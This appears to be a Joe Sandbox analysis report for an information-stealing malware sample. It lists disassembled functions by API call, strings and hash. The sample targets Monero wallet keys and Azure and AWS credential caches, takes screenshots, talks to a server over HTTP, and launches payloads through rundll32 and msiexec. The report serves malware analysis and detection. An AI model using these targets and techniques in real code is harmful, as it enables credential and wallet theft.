HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E45F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00E45F4C
InternetCloseHandle.WININET(00000000), ref: 00E45FB0
InternetCloseHandle.WININET(00000000), ref: 00E45FBD
HttpOpenRequestA.WININET(00000000,01CBF398,?,01CBE7B0,00000000,00000000,00400100,00000000), ref: 00E45BF8

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

InternetCloseHandle.WININET(00000000), ref: 00E45FC7

Strings

", xrefs: 00E45E16
------, xrefs: 00E45A96
------, xrefs: 00E45D4C
", xrefs: 00E45CD5
------, xrefs: 00E45C0B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 178b632205b1345442e10fd074c3fe0eb37cf355193b6ab8417ca4d8b8ab9ed3
Instruction ID: 68a26d256ef43098accc8bfee2558d5e5146c3bb55b5eec61b62fa6a6a9a04ac
Opcode Fuzzy Hash: 178b632205b1345442e10fd074c3fe0eb37cf355193b6ab8417ca4d8b8ab9ed3
Instruction Fuzzy Hash: 84122272920128ABCB19EBA0DC99FDE73B8BF54701F4456A9B50673091EF342A4DCF61

Function 00E4CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E58B60: GetSystemTime.KERNEL32(00E60E1A,01CBAD00,00E605AE,?,?,00E413F9,?,0000001A,00E60E1A,00000000,?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E58B86

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E4CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E4D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00E4D0CE
lstrcat.KERNEL32(?,00000000), ref: 00E4D208
lstrcat.KERNEL32(?,00E61478), ref: 00E4D217
lstrcat.KERNEL32(?,00000000), ref: 00E4D22A
lstrcat.KERNEL32(?,00E6147C), ref: 00E4D239
lstrcat.KERNEL32(?,00000000), ref: 00E4D24C
lstrcat.KERNEL32(?,00E61480), ref: 00E4D25B
lstrcat.KERNEL32(?,00000000), ref: 00E4D26E
lstrcat.KERNEL32(?,00E61484), ref: 00E4D27D
lstrcat.KERNEL32(?,00000000), ref: 00E4D290
lstrcat.KERNEL32(?,00E61488), ref: 00E4D29F
lstrcat.KERNEL32(?,00000000), ref: 00E4D2B2
lstrcat.KERNEL32(?,00E6148C), ref: 00E4D2C1
lstrcat.KERNEL32(?,00000000), ref: 00E4D2D4
lstrcat.KERNEL32(?,00E61490), ref: 00E4D2E3

Part of subcall function 00E5A820: lstrlen.KERNEL32(00E44F05,?,?,00E44F05,00E60DDE), ref: 00E5A82B
Part of subcall function 00E5A820: lstrcpy.KERNEL32(00E60DDE,00000000), ref: 00E5A885

lstrlen.KERNEL32(?), ref: 00E4D32A
lstrlen.KERNEL32(?), ref: 00E4D339

Part of subcall function 00E5AA70: StrCmpCA.SHLWAPI(01CB9A70,00E4A7A7,?,00E4A7A7,01CB9A70), ref: 00E5AA8F

DeleteFileA.KERNEL32(00000000), ref: 00E4D3B4

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 09402192f8ad6a94aa5ca325f13207043df07a692e2645a635b25c346026f214
Instruction ID: b3523f6e01151d9e381b082f7b2c25befd35222547ea87bee25babe337e8d9e7
Opcode Fuzzy Hash: 09402192f8ad6a94aa5ca325f13207043df07a692e2645a635b25c346026f214
Instruction Fuzzy Hash: 94E18472910108DBCB18EBA0DD96EEE73B8BF54301F145669F543B3091EE39AE09CB61

Function 00E4C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,01CBDD70,00000000,?,00E6144C,00000000,?,?), ref: 00E4CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00E4CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00E4CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E4CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00E4CAD9
StrStrA.SHLWAPI(?,01CBDBF0,00E60B52), ref: 00E4CAF7
StrStrA.SHLWAPI(00000000,01CBDD88), ref: 00E4CB1E
StrStrA.SHLWAPI(?,01CBDEF8,00000000,?,00E61458,00000000,?,00000000,00000000,?,01CB9B20,00000000,?,00E61454,00000000,?), ref: 00E4CCA2
StrStrA.SHLWAPI(00000000,01CBDE98), ref: 00E4CCB9

Part of subcall function 00E4C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E4C871
Part of subcall function 00E4C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E4C87C

StrStrA.SHLWAPI(?,01CBDE98,00000000,?,00E6145C,00000000,?,00000000,01CB99D0), ref: 00E4CD5A
StrStrA.SHLWAPI(00000000,01CB97C0), ref: 00E4CD71

Part of subcall function 00E4C820: lstrcat.KERNEL32(?,00E60B46), ref: 00E4C943
Part of subcall function 00E4C820: lstrcat.KERNEL32(?,00E60B47), ref: 00E4C957
Part of subcall function 00E4C820: lstrcat.KERNEL32(?,00E60B4E), ref: 00E4C978

lstrlen.KERNEL32(00000000), ref: 00E4CE44
CloseHandle.KERNEL32(00000000), ref: 00E4CE9C

Strings

, xrefs: 00E4C9C6

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 351abde6a7355e8e041adc1d580ffe10ebdb125e3daa4733bbca1c0547b87584
Instruction ID: 3fe701b8d5d485de6b1f8dbe052fc45d4ef5638cb3ce3937ab4fd8fc01045479
Opcode Fuzzy Hash: 351abde6a7355e8e041adc1d580ffe10ebdb125e3daa4733bbca1c0547b87584
Instruction Fuzzy Hash: EFE14D72900108ABDB18EBA0DC96FEEB7B8BF54301F045669F54673191EF346A4ECB61

Function 00E58320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

RegOpenKeyExA.ADVAPI32(00000000,01CBBD40,00000000,00020019,00000000,00E605B6), ref: 00E583A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E58426
wsprintfA.USER32 ref: 00E58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E5847B
RegCloseKey.ADVAPI32(00000000), ref: 00E5848C
RegCloseKey.ADVAPI32(00000000), ref: 00E58499

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Strings

- , xrefs: 00E585A3
%s\%s, xrefs: 00E5844D
?, xrefs: 00E5837A

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 794bfc436cebcc9308199b0634c6bee44d8d021ef1a93fef597c2ed4e00a399c
Instruction ID: f7469c77319e6e46fbc666a2119afef7000b0911b6efd3a5c6b2c93b182a8961
Opcode Fuzzy Hash: 794bfc436cebcc9308199b0634c6bee44d8d021ef1a93fef597c2ed4e00a399c
Instruction Fuzzy Hash: 28812BB1910118EBDB28DF50CD95FEAB7B8BF48701F008699E549B6140DF756B89CFA0

Function 00E54D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E58E0B

lstrcat.KERNEL32(?,00000000), ref: 00E54DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00E54DCD

Part of subcall function 00E54910: wsprintfA.USER32 ref: 00E5492C
Part of subcall function 00E54910: FindFirstFileA.KERNEL32(?,?), ref: 00E54943

lstrcat.KERNEL32(?,00000000), ref: 00E54E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00E54E59

Part of subcall function 00E54910: StrCmpCA.SHLWAPI(?,00E60FDC), ref: 00E54971
Part of subcall function 00E54910: StrCmpCA.SHLWAPI(?,00E60FE0), ref: 00E54987
Part of subcall function 00E54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E54B7D
Part of subcall function 00E54910: FindClose.KERNEL32(000000FF), ref: 00E54B92

lstrcat.KERNEL32(?,00000000), ref: 00E54EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00E54EE5

Part of subcall function 00E54910: wsprintfA.USER32 ref: 00E549B0
Part of subcall function 00E54910: StrCmpCA.SHLWAPI(?,00E608D2), ref: 00E549C5
Part of subcall function 00E54910: wsprintfA.USER32 ref: 00E549E2
Part of subcall function 00E54910: PathMatchSpecA.SHLWAPI(?,?), ref: 00E54A1E
Part of subcall function 00E54910: lstrcat.KERNEL32(?,01CBF258), ref: 00E54A4A
Part of subcall function 00E54910: lstrcat.KERNEL32(?,00E60FF8), ref: 00E54A5C
Part of subcall function 00E54910: lstrcat.KERNEL32(?,?), ref: 00E54A70
Part of subcall function 00E54910: lstrcat.KERNEL32(?,00E60FFC), ref: 00E54A82
Part of subcall function 00E54910: lstrcat.KERNEL32(?,?), ref: 00E54A96
Part of subcall function 00E54910: CopyFileA.KERNEL32(?,?,00000001), ref: 00E54AAC
Part of subcall function 00E54910: DeleteFileA.KERNEL32(?), ref: 00E54B31

Strings

Azure\.aws, xrefs: 00E54E5F
\.aws\, xrefs: 00E54E4D
Azure\.IdentityService, xrefs: 00E54EEB
*.*, xrefs: 00E54E64
*.*, xrefs: 00E54DD8
\.azure\, xrefs: 00E54DC1
msal.cache, xrefs: 00E54EF0
\.IdentityService\, xrefs: 00E54ED9
Azure\.azure, xrefs: 00E54DD3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: e6125fe4d84866b7554f65c75da3f878d4b73b30a22c691c2a092826d28d9636
Instruction ID: 6bff9e7d292eddcf423c4c69da93989eb012ec7ecf698d5f4910bfc002b5a774
Opcode Fuzzy Hash: e6125fe4d84866b7554f65c75da3f878d4b73b30a22c691c2a092826d28d9636
Instruction Fuzzy Hash: D441B2BA940304A7CB60E770EC47FED3378AB20741F045994B685720C1EEB95BC98B92

Function 00E59010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00E5906C

Strings

image/jpeg, xrefs: 00E59136

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: bfd6c55c803ed5251934a173e23f9428942871eb8e170490bef51778c26e4e3f
Instruction ID: 3c0e07e46f0b4b2d32f3e5bbef196469ba39ef9ff3865c9721c965033534e0ef
Opcode Fuzzy Hash: bfd6c55c803ed5251934a173e23f9428942871eb8e170490bef51778c26e4e3f
Instruction Fuzzy Hash: E471FE75A10208EBDB14EFE4D989FEEB7B8BF48301F108509F556A7284DB39A945CB60

Function 00E52E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

ShellExecuteEx.SHELL32(0000003C), ref: 00E531C5
ShellExecuteEx.SHELL32(0000003C), ref: 00E5335D
ShellExecuteEx.SHELL32(0000003C), ref: 00E534EA

Strings

/i ", xrefs: 00E533E4
.msi, xrefs: 00E53398
C:\Windows\system32\rundll32.exe, xrefs: 00E53332
C:\Windows\system32\msiexec.exe, xrefs: 00E534BF
"" , xrefs: 00E5309A
<, xrefs: 00E53490
.dll, xrefs: 00E531E5
/passive, xrefs: 00E5345B

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c938edffce1618d7a6f6e6f52252a91ebbd2c7c8846bd0f958ae53303ca8136a
Instruction ID: 7da9edbf314ecce508b74726ef7adba9b63aaffc2d03e80872f503ade45d4541
Opcode Fuzzy Hash: c938edffce1618d7a6f6e6f52252a91ebbd2c7c8846bd0f958ae53303ca8136a
Instruction Fuzzy Hash: 021231728001189ADB19EFA0DC96FDEB7B8AF54301F445A69F90676091EF342B4ECF61

Function 00E552C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E46280: InternetOpenA.WININET(00E60DFE,00000001,00000000,00000000,00000000), ref: 00E462E1
Part of subcall function 00E46280: StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E46303
Part of subcall function 00E46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E46335
Part of subcall function 00E46280: HttpOpenRequestA.WININET(00000000,GET,?,01CBE7B0,00000000,00000000,00400100,00000000), ref: 00E46385
Part of subcall function 00E46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E463BF
Part of subcall function 00E46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E463D1

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E55318
lstrlen.KERNEL32(00000000), ref: 00E5532F

Part of subcall function 00E58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E58E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00E55364
lstrlen.KERNEL32(00000000), ref: 00E55383
lstrlen.KERNEL32(00000000), ref: 00E553AE

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Strings

ERROR, xrefs: 00E5530A
ERROR, xrefs: 00E5546F
ERROR, xrefs: 00E553B9
ERROR, xrefs: 00E55432
ERROR, xrefs: 00E554A9

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
